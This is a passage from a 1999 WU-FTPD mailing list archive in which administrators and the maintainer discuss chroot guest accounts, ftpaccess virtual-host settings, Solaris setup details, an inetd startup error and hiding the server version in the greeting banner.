that file is owned only by user FILES and USER1 can't delet that stored
file. Is some ideas to everthing work like i want ???

thx,
Viesturs

PS. Sorry for my bad english ;-)

From [email protected] Fri Mar 26 04:21:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA19453;
Fri, 26 Mar 1999 04:21:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA15164;
Fri, 26 Mar 1999 04:14:08 -0600 (CST)
Received: from tomsk.ultramedia.co.uk ([212.250.216.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id EAA31372
for <[email protected]>; Fri, 26 Mar 1999 04:10:53 -0600 (CST)
Received: from tomsk.ultramedia.co.uk (tomsk.ultramedia.co.uk [212.250.216.2])
by tomsk.ultramedia.co.uk (8.9.0/8.9.0) with SMTP id KAA02885
for <[email protected]>; Fri, 26 Mar 1999 10:08:42 GMT
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 10:08:42 +0000 (GMT)
Reply-To: Chris Shaw <[email protected]>
Sender: [email protected]
From: Chris Shaw <[email protected]>
To: [email protected]
Subject: getpeername
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: ra+DZavBsV8ftmaua9gzkw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4m sparc
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

I can no longer start my ftp daemon, I get the following errors....

Mar 26 08:39:42 tomsk ftpd[919]: getpeername (in.ftpd): Socket operation on
non-socket

it *was* working, I made some changes in the ftpaccess file (to add Virtual Ftp
Servers), restarted inetd and it stopped working, I undid the changes in the
ftpaccess file and now it still doesn't work, same error!!!

What can it be?

TIA

Chris
-=-=-

From [email protected] Fri Mar 26 06:36:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA20964;
Fri, 26 Mar 1999 06:36:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA27408;
Fri, 26 Mar 1999 06:31:21 -0600 (CST)
Received: from trex.nist.gov (trex.nist.gov [129.6.17.17])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA29329
for <[email protected]>; Fri, 26 Mar 1999 06:28:55 -0600 (CST)
Received: from localhost (loopback [127.0.0.1]) by trex.nist.gov (AIX4.3/UCB 8.8.8/8.7) with ESMTP id HAA28372; Fri, 26 Mar 1999 07:28:17 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 07:28:17 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Steve D'Angona" <[email protected]>
To: "Denis N. Antonioli" <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: RE: VR Version: greeting terse keeps version string empty instatcommand
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

You are correct. I blindly followed the example to get the string.

A "quote stat" command will display the version of the ftp server.

Sorry for the confusion.

On Thu, 25 Mar 1999, Denis N. Antonioli wrote:

> >
> > a stat command, after login does NOT show the version.
> >
> Whose stat, from your ftp client or from the server? On solaris,
> the client has a command by the same name. To get the response from
> the server, you need to
>
> ftp> quote stat
>

From [email protected] Fri Mar 26 06:47:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21094;
Fri, 26 Mar 1999 06:47:37 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA23016;
Fri, 26 Mar 1999 06:42:56 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA11512
for <[email protected]>; Fri, 26 Mar 1999 06:38:02 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA09730;
Fri, 26 Mar 1999 07:37:00 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 07:37:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Viesturs Klive <[email protected]>
Cc: [email protected]
Subject: Re: Problem with WU-FTPd...
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Your answer will be found in the FAQ.

On Fri, 26 Mar 1999, Viesturs Klive wrote:

> such file or directory... what's wrong with these links ??

Guests and anonymous users are chroot'd. That means they cannot see
anything not under the directory they chroot to. Most likely the links
that are causing problems point to areas outside the directory structure.

> (/etc/passwd -> files:x:1030:19:Files Special FTP

Most likely the user 'files' is not listed in a guest group named on a
guestgroup statement in ftpaccess.

You don't say which operating system you're on, but at a guess I'd say
group 19 is a privileged system group and 'files' being a member of group
19 is a rather large security risk.

> This is not a problem but more probably maybe You can something
> recommend me.

Re-arrange your directory structure.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 06:48:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA21127;
Fri, 26 Mar 1999 06:48:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA05949;
Fri, 26 Mar 1999 06:43:36 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA01937
for <[email protected]>; Fri, 26 Mar 1999 06:42:16 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA09755;
Fri, 26 Mar 1999 07:41:41 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 07:41:41 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Chris Shaw <[email protected]>
Cc: [email protected]
Subject: Re: getpeername
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, Chris Shaw wrote:

> Mar 26 08:39:42 tomsk ftpd[919]: getpeername (in.ftpd): Socket
> operation on non-socket

You don't say which OS or version of the daemon you're using.

I can cause this error by starting the daemon by hand. You say you're
using inetd: check for a typo on the commandline in inetd.conf. Also,
check your system logs for any messages which might shed light on this.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 09:55:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA23628;
Fri, 26 Mar 1999 09:55:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA02748;
Fri, 26 Mar 1999 09:50:06 -0600 (CST)
Received: from astro.sgsnet.com (astro.sgsnet.com [204.217.154.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA03723
for <[email protected]>; Fri, 26 Mar 1999 09:46:58 -0600 (CST)
Received: from imho.net (taz.sgsnet.com [204.217.154.9]) by astro.sgsnet.com (8.7.5/8.7.3) with ESMTP id JAA22066; Fri, 26 Mar 1999 09:38:50 -0600 (CST)
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 09:45:14 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Leif Ericksen <[email protected]>
To: [email protected]
Cc: FTP <[email protected]>
Subject: Set up info for wu-ftp on solaris. (My set up included.)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.51 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a long message. IF you do now need to know how to setup ftp for
solaris you can ignore this message. IF you want to know how to do so
go on and read it.

NUMBER 1 READ THE FAQ.. RTFM!!!!!!!!!
The FAQ that the developers produced WORKS GREAT!
try a man ftpd

NUMBER 2 READ THE FAQ!!

NUMBER 3 Yes I had problems setting this up. Mostly with the ftpaccess
file and getting this sqaured away, and my own fault for not setting
some other itmes up correctly. i.e ~user/dev files.

NUMBER 4 look at the FAQ
Michael Brennen Wrote a document entitled wu-ftpd guest accounts it is
available via the FAQ I do believe GET IT. It has good information in
it.

NUMBER 5 Gregory hmself has a document availale called HOWTO get it.
ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO (sorry to the
author if Gregory is not the author...)

NUMBER 6 The FAQ points to a document called ANONYMOUS FTP CONFIGURATION
GUIDELINES GET IT.

NUMBER 7 Look for a document How to set up a Secure Anonymous FTP site.

NUMBER 8 I have included my setup It works on the following....

Sun Sparc 2.5, 2.5.1, 2.6 with 2.4.B18-vr[14 and 16]

1) In /etc/passwd set up an account for user (NOTE THIS Is for a
VIRUTAL type account, and it shoudl work the same for local users..
Just eliminate /./ after the directory for hte user.)
> sgsftp:x:10002:44:TEST VFTP:/export/web/htdocs/test_site/./:/bin/ftponly
Make sure you have a line in /etc/shadow with the login-ID and Password.

2) Make sure you create the REQUIRED files in the respective FTP
directory... SYMBOLIC Links should work just fine as well.

> 2 drwxrwxr-x 3 root other 512 Feb 25 12:42 usr

In dev have the following files. Do ls -l of the real /dev/[zero,tcp]
major and minor numbers
mknod [tcp/zero] c Major minor
USE THE MAJOR AND MINOR OF YOUR SYSTEM!

> 2 drwxr-xr-x 2 root other 512 Mar 24 09:00 dev
> 0 crw-r--r-- 1 root other 13, 12 Mar 24 09:00 zero
> 0 crw-r--r-- 1 root other 11, 42 Mar 24 09:00 tcp

In the ~user/bin I have the following:
> 2 drwxrwxr-x 2 root other 512 Feb 25 13:37 bin
> 34 ---x--x--x 1 root other 16644 Feb 25 13:37 dir
> 34 ---x--x--x 1 root other 16644 Feb 25 13:37 ls
I do belive that you have to have in this bin directory all the things
you desire to allow the user to have.

In the ~user/etc I have the following:
> 2 drwxrwxr-x 2 root other 512 Feb 25 12:44 etc
> 2 -r-------- 1 root other 66 Feb 25 13:01 shadow
> 2 -r--r--r-- 1 root other 106 Feb 25 12:49 passwd
> 2 -r--r--r-- 1 root other 184 Feb 25 12:49 group
Now if I remeber and understand correctly the above files are not
required at all.

OK REMEBER that the lib files you need to add are usually located in
/usr/lib so you have the following!
PLEASE NOTE The permissions are WRONG HERE r-x is all you really need to
have... correct for your systems. This instance on my server was for
internal tests.
> 2 drwxrwxr-x 3 root other 512 Feb 25 12:42 usr
> 2 drwxrwxr-x 2 root other 512 Feb 25 13:04 lib
>
> 78 -rwxrwxr-x 1 root other 39932 Feb 25 13:04 libw.so.1
> 32 -rwxrwxr-x 1 root other 15720 Feb 25 13:04 libintl.so.1
> 32 -rwxrwxr-x 1 root other 15720 Feb 25 13:04 libintl.so
> 8 -rwxrwxr-x 1 root other 3484 Feb 25 13:04 libdl.so.1
> 1328 -rwxrwxr-x 1 root other 665252 Feb 25 13:03 libc.so.1
> 272 -rwxrwxr-x 1 root other 124720 Feb 25 13:03 ld.so.1
> 48 -rwxrwxr-x 1 root other 24576 Feb 25 13:03 ld.so

NOW When I log into the system I get the following.
ftp site.name
Connected to site.name.
220 ftp.test_site.org FTP server (WUFTPD) ready.
( Sorry Greg, and other WUFTP Developers... For security I do not
include the exact version number. Should I put another message in
let me know and I will do so. )
Name (SITE.name:leif): sgsftp
331 Password required for sgsftp.
Password:
230 User sgsftp logged in. Access restrictions apply.
ftp>

a ls -l gives the following!
ftp> ls -l
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 172
drwxr-xr-x 2 10002 44 512 Jan 19 22:04 agent
drwxr-xr-x 3 10002 44 512 Jan 21 19:10 agents
-rw-rw-rw- 1 10002 44 206 Mar 26 14:39 arrowdown.gif
-rw-rw-rw- 1 10002 44 116 Dec 16 00:51 arrowup.gif
drwxrwxrwx 3 10002 44 512 Dec 29 21:02 barrett
drwxrwxr-x 2 0 1 512 Feb 25 19:37 bin
-rw-rw-rw- 1 10002 44 1658 Jan 12 20:25 black.html
drwxr-xr-x 2 0 1 512 Mar 24 15:00 dev
drwxrwxr-x 2 0 1 512 Feb 25 18:44 etc
-rw-rw-rw- 1 10002 44 5697 Oct 21 19:57
fam_funds-interm.html
-rw-rw-rw- 1 10002 44 5704 Oct 21 19:57 fam_funds-mid.html
-rw-rw-rw- 1 10002 44 6412 Oct 21 20:56
fam_funds-small.html
drwxrwxr-x 2 10002 44 512 Dec 4 16:28 hdlm
-rw-r--r-- 1 10002 44 11031 Jan 18 16:17 hlm_manual.html
-rw-rw-rw- 1 10002 44 327 Oct 21 16:21 home2.html
drwxrwxr-x 2 10002 44 512 Jan 12 20:22 html
drwxrwxr-x 2 10002 44 6144 Mar 18 21:37 images
-rw-rw-rw- 1 10002 44 1918 Jan 21 16:12 index.html
drwxr-xr-x 2 10002 44 512 Jan 21 19:05 mytest
drwxr-xr-x 3 10002 44 512 Jan 15 20:16 netshare
drwxrwxr-x 2 10002 44 512 Dec 3 19:53 references
-rw-r--r-- 1 10002 44 25575 Mar 26 14:31 smember.html
-rw-r--r-- 1 10002 44 1629 Mar 24 21:50 test Doc1.htm
-rw-rw-rw- 1 10002 44 208 Oct 21 16:21 top2.html
-rw-rw-rw- 1 10002 44 152 Dec 16 00:54 trashcan.gif
drwxrwxr-x 3 0 1 512 Feb 25 18:42 usr
-rw-rw-rw- 1 10002 44 1547 Oct 21 16:21 white.html
226 Transfer complete.
remote: -l
1775 bytes received in 0.17 seconds (10 Kbytes/s)
ftp>

Sorry if I sounded crass but I saw two folks with questions about
setting up the FTP so I figured I would go over what I did to make it
work.
I also agree with Wally that folks that do not have the chroot working
are setting it up incorectly... Gregory can attest to this. I had
problems setting the system up and with his help I was able to figure
out that it was mostly caused by some problems with /etc/passwd and
/etc/ftpaccess. Once I got those items fix it worked GREAt and still
does. Granted CERT and CIAC may state there are holes in the product
BUT if you can do a better job you write the software yourself. Then
we can see what one is better.

-- Leif Ericksen
[email protected]

From [email protected] Fri Mar 26 11:20:06 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA24915;
Fri, 26 Mar 1999 11:20:06 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA03776;
Fri, 26 Mar 1999 11:14:23 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA16775
for <[email protected]>; Fri, 26 Mar 1999 11:08:50 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA12659;
Fri, 26 Mar 1999 12:08:25 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 12:08:24 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Leif Ericksen <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: Set up info for wu-ftp on solaris. (My set up included.)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, Leif Ericksen wrote:

> ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO (sorry to the
> author if Gregory is not the author...)

I am.

> 220 ftp.test_site.org FTP server (WUFTPD) ready.

> ( Sorry Greg, and other WUFTP Developers... For security I do not
> include the exact version number. Should I put another message in let
> me know and I will do so. )

220 ftp.vr.net FTP server ready.

You will note that ftp.vr.net doesn't even admit openly that it runs
WU-FTPD. I s'pose I coule add an option to admit that without the version
numbers so you don't ahve to hand-hack the daemon ...

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 11:38:43 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA25183;
Fri, 26 Mar 1999 11:38:42 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA23830;
Fri, 26 Mar 1999 11:33:44 -0600 (CST)
Received: from nic.com (nic.com [204.141.60.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA05174
for <[email protected]>; Fri, 26 Mar 1999 11:26:20 -0600 (CST)
Received: from gossamer.netdev.org (IDENT:[email protected] [204.141.60.57])
by nic.com (8.9.1/8.9.1) with ESMTP id MAA11163;
Fri, 26 Mar 1999 12:24:48 -0500 (EST)
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 10:25:41 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Dave Wreski <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>,
Leif Ericksen <[email protected]>
Subject: Re: Set up info for wu-ftp on solaris. (My set up included.)
In-Reply-To: <[email protected]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-Sender: [email protected]
X-Mailer: XFMail 1.3 [p0] on Linux
X-Priority: 3 (Normal)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> 220 ftp.vr.net FTP server ready.
>
> You will note that ftp.vr.net doesn't even admit openly that it runs
> WU-FTPD. I s'pose I coule add an option to admit that without the version
> numbers so you don't ahve to hand-hack the daemon ...

That would really be great. I currently have to do this, and a "#define
VERSION=" in the config would be easier than merging patches, etc..

I'm sure it can be argued that since the version can be changed, that it must be
at least some form of open-source ftp, as it's not possible to do with vendor
binaries, but at least it will keep them guessing...

Thanks,
Dave

From [email protected] Fri Mar 26 11:51:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA25419;
Fri, 26 Mar 1999 11:51:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA09866;
Fri, 26 Mar 1999 11:46:39 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA12871
for <[email protected]>; Fri, 26 Mar 1999 11:46:18 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA13096;
Fri, 26 Mar 1999 12:46:02 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 12:46:02 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Dave Wreski <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>,
Leif Ericksen <[email protected]>
Subject: Re: Set up info for wu-ftp on solaris. (My set up included.)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, Dave Wreski wrote:

> > I s'pose I could add an option to admit that without the version
> > numbers so you don't have to hand-hack the daemon ...
>
> That would really be great. I currently have to do this, and a "#define
> VERSION=" in the config would be easier than merging patches, etc..
>
> I'm sure it can be argued that since the version can be changed, that it must be
> at least some form of open-source ftp, as it's not possible to do with vendor
> binaries, but at least it will keep them guessing...

I was thinking adding 'noversion' to the greeting ftpaccess clause.

greeting noversion

would then yield

220 ftp.vr.net FTP server (wu-ftpd) ready.

I'll take a look at what it'll take to force a VERSION string in the
config.h file, but the question is: should that effect the STAT output as
well?

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 11:59:52 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA25527;
Fri, 26 Mar 1999 11:59:51 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA02922;
Fri, 26 Mar 1999 11:54:55 -0600 (CST)
Received: from caro.net ([email protected] [209.12.200.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA01304
for <[email protected]>; Fri, 26 Mar 1999 11:48:24 -0600 (CST)
Received: from ds9.caro.net ([email protected] [209.12.200.5])
by caro.net with SMTP id MAA15480
for <[email protected]>; Fri, 26 Mar 1999 12:48:32 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 17:48:30 +0000
Reply-To: [email protected]
Sender: [email protected]
From: "Morgan A, Miskell" <[email protected]>
To: [email protected]
Subject: Newbie Question about 2.4.2-vr16
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 3.04 (X11; I; Linux 2.0.36 i586)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I just installed the version 2.4.2-vr16, I have setup my ftpaccess file
correctly (I think). My question is simple, if I ftp to any of the
servers and do a 'cd /' I get the root of the machine and not the
specified root in the ftpaccess file. Is this supposed to work like
this? I am assuming that it should have chroot'ed and put me into the
specified root dir.

Anyone have any comments/thoughts on what I may have done wrong?

Paste from ftp access (ip's changed)
virtual bbb.bbb.bbb.bbb root
/usr/local/WWW/FTP/usr/icehouse
virtual bbb.bbb.bbb.bbb banner
/usr/local/WWW/FTP/usr/icehouse/banner.msg
virtual bbb.bbb.bbb.bbb allow icehouse
virtual bbb.bbb.bbb.bbb private

virtual aaa.aaa.aaa.aaa root /usr/local/WWW/FTP
virtual aaa.aaa.aaa.aaa banner /usr/local/WWW/FTP/banner.msg
virtual aaa.aaa.aaa.aaa allow egghead
virtual aaa.aaa.aaa.aaa private

From [email protected] Fri Mar 26 12:02:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA25571;
Fri, 26 Mar 1999 12:02:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA17575;
Fri, 26 Mar 1999 11:57:14 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA13289
for <[email protected]>; Fri, 26 Mar 1999 11:50:11 -0600 (CST)
Received: from yua2 (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id MAA32574
for <[email protected]>; Fri, 26 Mar 1999 12:50:10 -0500
Message-Id: <[email protected]>
Date: Mon, 3 May 1999 12:50:46 -0400
Reply-To: [email protected]
Sender: [email protected]
From: "Alex Yu" <[email protected]>
To: "WU-FTPD Discussion List" <[email protected]>
Subject: RE: Set up info for wu-ftp on solaris. (My set up included.)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I was thinking adding 'noversion' to the greeting ftpaccess clause.
> greeting noversion

well.. i think what we should do is to include a var in ftpaccess, like
servername. then users can choose whether or not that they want to
overwrite the string.

alex

From [email protected] Fri Mar 26 12:02:41 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA25581;
Fri, 26 Mar 1999 12:02:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA00885;
Fri, 26 Mar 1999 11:58:01 -0600 (CST)
Received: from astro.sgsnet.com (astro.sgsnet.com [204.217.154.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA30628
for <[email protected]>; Fri, 26 Mar 1999 11:51:03 -0600 (CST)
Received: from imho.net (taz.sgsnet.com [204.217.154.9]) by astro.sgsnet.com (8.7.5/8.7.3) with ESMTP id LAA23094 for <[email protected]>; Fri, 26 Mar 1999 11:43:00 -0600 (CST)
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 11:49:24 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Leif Ericksen <[email protected]>
To: FTP <[email protected]>
Subject: chroot problems --- At least on Solaris ANSWER...
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.51 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I was playing around with my server as I created a new Virutal user as
it is I had an error in my configuration. I did not have the guestuser
entered on the
guestuser line in /etc/ftpaccess As it is I was able to log in and I
got myself placed into the VIRTUAL users "home" direcotry, however I was
able to
change my direcotry to wherever I wanted to on the System... This is
a CONFIGURATION problem as well as a possible coding issue.

*IF* I find time maybe I can submit a change... However, since there
are already many hands in the bot maybe I should write and RFC...

When the server is autenticating a users log in IF the users has a /.
after the address it should make sure that the ftpaccess file has them
as a guest user or so that they are fored and not allowed to change
directories...

Just a thought.

--Leif Ericksen
[email protected]

From [email protected] Fri Mar 26 12:17:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA25794;
Fri, 26 Mar 1999 12:17:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA02369;
Fri, 26 Mar 1999 12:12:37 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA19636
for <[email protected]>; Fri, 26 Mar 1999 12:11:27 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA13436;
Fri, 26 Mar 1999 13:11:16 -0500
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 13:11:15 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Leif Ericksen <[email protected]>
Cc: FTP <[email protected]>
Subject: Re: chroot problems --- At least on Solaris ANSWER...
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 26 Mar 1999, Leif Ericksen wrote:

> I was playing around with my server as I created a new Virutal user as
> it is I had an error in my configuration. I did not have the
> guestuser entered on the guestuser line in /etc/ftpaccess As it is I
> was able to log in and I got myself placed into the VIRTUAL users
> "home" direcotry, however I was able to change my direcotry to
> wherever I wanted to on the System... This is a CONFIGURATION problem
> as well as a possible coding issue.
>
> *IF* I find time maybe I can submit a change... However, since there
> are already many hands in the bot maybe I should write and RFC...
>
> When the server is autenticating a users log in IF the users has a /.
> after the address it should make sure that the ftpaccess file has them
> as a guest user or so that they are fored and not allowed to change
> directories...

A missing guestuser is the same as a missing guestgroup. Personally, I do
this:

guestuser *
realuser ftp
realuser lundberg

Everyone's a guest _except_ anonymous (ftp), and other users I name (like
me!).

Actually, I'd like to get everyone moved away from the old /./ hack and
using guestgroup/guestuser with guestroot

I'd be interested in your ideas though since it's unlikely everyone would
switch and one of the notable lacks in the daemon is any protection for
server admins against their own mistakes.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 12:18:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA25827;
Fri, 26 Mar 1999 12:18:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA11173;
Fri, 26 Mar 1999 12:13:35 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA17207
for <[email protected]>; Fri, 26 Mar 1999 12:11:53 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA13444;
